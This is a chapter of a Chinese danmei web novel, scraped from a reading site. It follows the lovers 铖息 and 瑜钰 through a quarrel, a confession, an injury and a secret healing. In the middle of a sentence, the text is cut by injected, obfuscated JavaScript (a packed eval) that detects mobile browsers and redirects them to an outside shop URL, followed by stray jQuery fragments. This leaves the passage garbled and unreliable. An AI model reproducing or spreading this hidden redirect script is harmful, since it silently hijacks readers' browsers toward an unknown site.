文趣网 > 其他小说 > 神君当年三两事 > 85. 此情可待成追忆
    “把长命锁还给我。”

    铖息收手讨要,故意给瑜钰找不痛快。

    瑜钰不可置信地抬眸,又失神地垂下,他不肯说话也不肯拿出来。

    屋中炭火,窗牖不严。

    硕大的风雪飘进来,烤在烧红的炭上,化为白雾又消失不见。

    铖息眼角微阖,唇边激起一抹讥讽的笑容。

    “不愿意?那本来是我的东西,我有资格处置。”

    他站起身,精准的找到瑜钰放包袱的位置,当着他的面开始翻找。

    那东西无疑是在里头的,瑜钰慌张的下床去抓住了铖息手中的包袱,无声的望着他。

    地上很凉,他没有穿鞋,可他顾不上了。

    这三年来唯一能慰藉到他的东西,铖息现在要把它收走。

    他不能接受。

    “可你送给我了。”瑜钰染上哭腔,他不可避免的鼻头一酸。

    在铖息的眼里,这就是还在乎的意思,可他仍觉不够。

    明明瑜钰只需要对他说那么一句话,他就可以哄好自己,可以不去计较瑜钰对他随意处之的曾经。

    可他凭什么不肯?

    他为什么就是不肯!

    铖息将瑜钰按回床上,包袱里的东西散落一地,没人有空去管。

    “可悲的明明是我才对,你无奈你没有办法,难道我就活该吗?瑜钰,你不能因为你有苦衷,就觉得我该全盘接受,你凭什么觉得我会永远对你摇尾乞怜?”

    身下人的眼泪顺着颊边隐入枕席,眼动悲切,颤抖的睫毛上染上被泪水黏连在一起,我见犹怜。

    铖息喉间闷闷的发出嗤声,压抑着极大的痛楚与不甘。他翻身坐起,不去看瑜钰这副总是占据他所有心房的样子。

    “你哭什么,我才要哭,你对我不好,你根本就不喜欢我,每次都是我追在你后头,你什么时候在乎过我吗?你觉得我是麻烦,你总是要甩掉我。”

    铖息身上的大氅被他脱了去,瑜钰仍能够看见他上下起伏的胸口。

    他应是气极了,声音都在发颤。

    “你都不喜欢我,长命锁是我给你的,我拿回来也省得你看到心烦了不是?”

    “我没有不喜欢你。”瑜钰从后背拥住铖息,将自己的下巴抵在他的肩膀上。

    “我想让你过的比我好,可是我...搞砸了。”

    脖颈处湿漉漉的,铖息知道那是什么,但他绝不回头。

    他才不要再次被瑜钰的眼泪蛊惑。

    他就这样静静的等着,哪怕瑜钰说得再慢,他也就这么等着。

    “你给我的东西我都有好好存着,在虞城你给我寄的信,我都舍不得扔,你对我最好。”

    “我不给你保证,是因为我不知道自己还有没有明天,如果我答应了你却没有做到,那我干脆一开始就不要承诺了。”

    瑜钰哽咽着:“及冠礼那天,皇帝用我姑姑他们一家的性命来逼迫我,非要我动手杀你,我想去告诉你,可我一靠近偏殿皇帝那边一定会知道的,我心存侥幸,我觉得你不会死,我没有选择你,对不起...”

    瑜钰吸着鼻子,他告诉铖息:“你现在恨我是对的,我也没做什么好事。”

    他将手探在铖息的心口处,突然又更加难过:“很痛对不对?你人生所有的痛都是我带来的,他们说得没错,我就是一个扫把星,我在哪里,哪里就会有灾祸。”

    铖息将自己的掌心附在瑜钰的手上,哑着嗓子:“才不是...”

    瑜钰哭泣中的三言两语,又让他心软,又重新匍匐于瑜钰的痛苦之下。

    他知晓瑜钰过得不易,可由他亲口说出,铖息再别扭的心绪也被拧正。

    他闷闷道:“我其实也就只痛了那么一小会儿,连疤都没剩下。”

    瑜钰的手又要抽回去:“我毁了你的大好人生,对不起...”

    又在说对不起,明明一句“爱你”比“对不起”管用多了,瑜钰却只会说那么一句。

    铖息转过身又紧紧的抱住他,贴着他热烈盈眶的脸,在他耳边小声说:“不要对不起,只要你说你爱我。”

    爱和喜欢是不一样的,喜欢可以是一时的好感,可爱不是,爱是全身心,不容介入和错谈的感情。

    瑜钰可以说喜欢很多人,但说爱的,只能是他铖息。

    他从来没有想过真正的去报复瑜钰什么,他只要瑜钰爱他,只要瑜钰承认爱他。

    这样至少能证明他们是真心相爱的,才不是怨侣,才没有怨恨。

    “我...”瑜钰吸着一口气,“特别爱你,我只爱你。”

    所以,我的一切都可以为你。

    哪怕是欺骗。

    铖息在瑜钰身上所求多年的这句话,终于在今日实现。

    他用尽全力将瑜钰拥入怀中,他想,他们会一辈子不分离的,没有任何人或事会让他们分开。

    “你说的,你要记住,你要再骗我...”铖息顿了一下,又恶狠狠道:“我就要把你关起来,让你一辈子只能见我一个人。”

    瑜钰的神色暗淡下去,抱紧铖息的背,轻轻的点了下头:“好。”

    ...

    在旷玉山这些天,瑜钰像是真的感受到了那种混吃等死的日子。

    此时冬日,铖息不知从哪儿搞来的食材,每日换着花样的给瑜钰做好吃的,美其名曰要将瑜钰再养的胖一些,说他抱起来一点儿也不软。

    夜晚他们又胡乱厮混,相拥而眠。

    瑜钰每日就是吃了睡,睡了又吃。

    脸上还真的多了一圈肉。

    自从瑜钰上山凑数之后,掌门也没空管他。

    芟荑院成了他们的温柔乡,两人都沉沦于此,望绵绵无绝期。

    这日晚间,铖息刚把瑜钰从浴桶中捞出来,给他穿好衣物之后抱着他回了换好的床铺上。

    将人搂入怀中盖好被之后,铖息才把玩着瑜钰脖颈上的长命锁,说着:“他们准备动手了,就这几日的事儿。”

    瑜钰翻了个身,抱住铖息的腰:“褚清已然得道,法力不可小觑,不能掉以轻心。”

    瑜钰本想一刀了结了那掌门的命,可他死了,那阵法也不会消失,也只得等他要启用之日,再去将其一网打尽。

    铖息热乎乎的身体暖着,瑜钰眼皮都开始打架。

    铖息不知去床头拿了罐什么药抹在手上,往瑜钰的唇上擦。

    瑜钰蹭着他的腰,声音软绵绵的问他:“什么东西?”

    指尖围着瑜钰的唇角转了一圈,铖息才回答:“嘴都亲破,给你上上药,我心疼。”

    火辣辣的触感在瑜钰的唇上不容忽视,瑜钰轻啧了一声,嘟囔着:“还不是你亲的,你下次轻一点就好了。”

    铖息没回答,又将被褥往上提了提,轻拍着瑜钰的后背哄他:“你辛苦了,睡吧。”

    一夜过去,瑜钰早上迷迷糊糊睁眼,没瞧见铖息人影。

    他披了外衣起身,也没在院子里瞧见铖息的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802106|207281||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    影,正奇怪着,外头不知是谁在拍门。

    “里面有人吗?快开门!”

    瑜钰心下一紧,一拉开门就见一弟子扶着虚弱的铖息进来。

    瑜钰焦急的问:“怎么这是?”

    那弟子道:“后山禁地里的凶兽逃了出来,师兄上去降服,受了伤。”

    他们将铖息扶在床榻上躺着,瑜钰掀起他无意识捂着的腹部一看,还在不断往外头渗血。

    那日铖息倒在血泊里的画面又出现在瑜钰的脑海中,他有些眩晕的扶着床沿。

    怎么办?

    瑜钰借口要在铖息屋里找伤药,将扶着铖息回来的那弟子打发了去。

    看着铖息惨白的嘴唇,瑜钰一刻也赌不起。

    旷玉山灵气不错,这些日子他吸收了不少,通通转化成了神力。

    瑜钰抬手,大股由神力所化的光芒从他手中越出,进入了铖息受伤的腹部,缓缓的修复着。

    半个时辰过后,铖息苍白的脸才终于红润起来。

    瑜钰满头大汗,脱下铖息衣物仔细瞧完之后,才松了一口气。

    怪不得巫寻很少用神力给自己治伤,几乎都是喂自己吃药丸,就自己那个玩命法,十个巫寻不够瑜钰霍霍的。

    铖息仍紧闭着双眼,瑜钰替他擦了身上,换了身干净衣物,才去管自己冒了一身的汗。

    他脱了衣物躺在浴桶中闭目养神,水温恰恰好,熏得他又有些困意。

    正歪着头打瞌睡时,不知从哪儿冒出一双手接住他的下巴。

    他一睁眼,就瞧见了衣衫大开的铖息。

    虽说也不少见过,瑜钰还是推了他一把,把自己闷在水雾里。

    “怎么了?为什么不高兴?”铖息蹲下来与瑜钰平视,眸子疑惑着打在瑜钰身上。

    瑜钰捂住自己的胸口挡住,责怪道:“你怎么不穿衣服?有辱斯文。”

    铖息将自己的衣衫扯得更开:“这不是要看看伤口吗?你又不是没见过,昨天晚上你还骑...”

    瑜钰慌忙去捂铖息的嘴,警告他:“你要是再说我就不理你了。还有,你怎么一个人出去将自己弄成那样?要不是巫寻过来救你,你就等死吧。”

    铖息知道他生气的缘由之后,笑着将瑜钰的手捧在手心:“你才不会让我等死,就因为这个生气吗?我错了好不好?”

    瑜钰将自己手抽回来,赶铖息出去:“不想和你说话,我好累,你出去。”

    铖息就赖着不走,还是瑜钰开口说饿了,他才不情不愿地出去做饭。

    铖息关上门出去。瑜钰又将自己闷在水里,庆幸他没发现异常。

    有时候巫寻这个挡箭牌还是挺好用的,毕竟哪次都出现得刚刚好。

    褚清快动手了,到时候自己飞升的事怕是瞒不住,真不知道铖息知道之后会怎么样,到时候他又要如何解释呢?

    瑜钰心绪烦闷,真不知道那个鬼王什么时候来收自己的神魂,说不定铖息看见他的惨样,就不在乎他骗人的事了。

    鬼王说,他和铖息都会活下来的。

    可瑜钰存在不会给铖息带来任何助力的,不如就当永远都没有过交集。

    这些日子的欢愉恍若一场大梦,骗过了铖息,也骗过了瑜钰自己。

    瑜钰在电光火石之间已然想好,不成的话就在铖息脑中打了个封印,让他将自己忘了。

    这样,就没什么糟心事了。

    大家就都能过得好好的,没有欺骗,也没有爱恨。